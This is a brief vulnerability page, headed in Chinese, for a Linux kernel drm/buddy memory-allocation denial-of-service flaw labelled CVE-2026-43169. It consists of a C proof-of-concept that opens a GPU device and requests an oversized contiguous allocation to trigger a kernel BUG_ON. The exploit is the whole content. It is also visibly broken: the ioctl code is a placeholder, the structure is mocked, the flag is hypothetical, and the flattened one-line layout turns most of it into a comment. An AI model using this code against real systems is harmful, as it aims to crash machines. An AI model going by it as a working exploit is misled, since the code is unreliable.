CVE-2026-43169 Linux内核drm/buddy内存分配拒绝服务漏洞

/* * PoC for CVE-2026-43169 * This code attempts to trigger the vulnerability by requesting a memory allocation * that, when rounded up, exceeds the available VRAM size. * Note: This requires a system with a GPU driver using the drm/buddy allocator. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <drm/drm.h> // Mocking the structure for demonstration purposes struct drm_buddy_alloc { __u64 size; __u64 flags; // ... other fields }; #define DRM_IOCTL_BUDDY_ALLOC 0x00 // Placeholder for actual ioctl code int main() { int fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } struct drm_buddy_alloc alloc; // Scenario: Request 9G on a 10G VRAM with CONTIGUOUS flag // roundup_pow_of_two(9GB) = 16GB > 10GB -> Trigger BUG_ON alloc.size = 9 * 1024 * 1024 * 1024ULL; alloc.flags = DRM_BUDDY_CONTIGUOUS_ALLOCATION; // Hypothetical flag value if (ioctl(fd, DRM_IOCTL_BUDDY_ALLOC, &alloc) != 0) { perror("Ioctl failed"); } else { printf("Allocation succeeded (vulnerability likely patched or conditions not met)\n"); } close(fd); return 0; }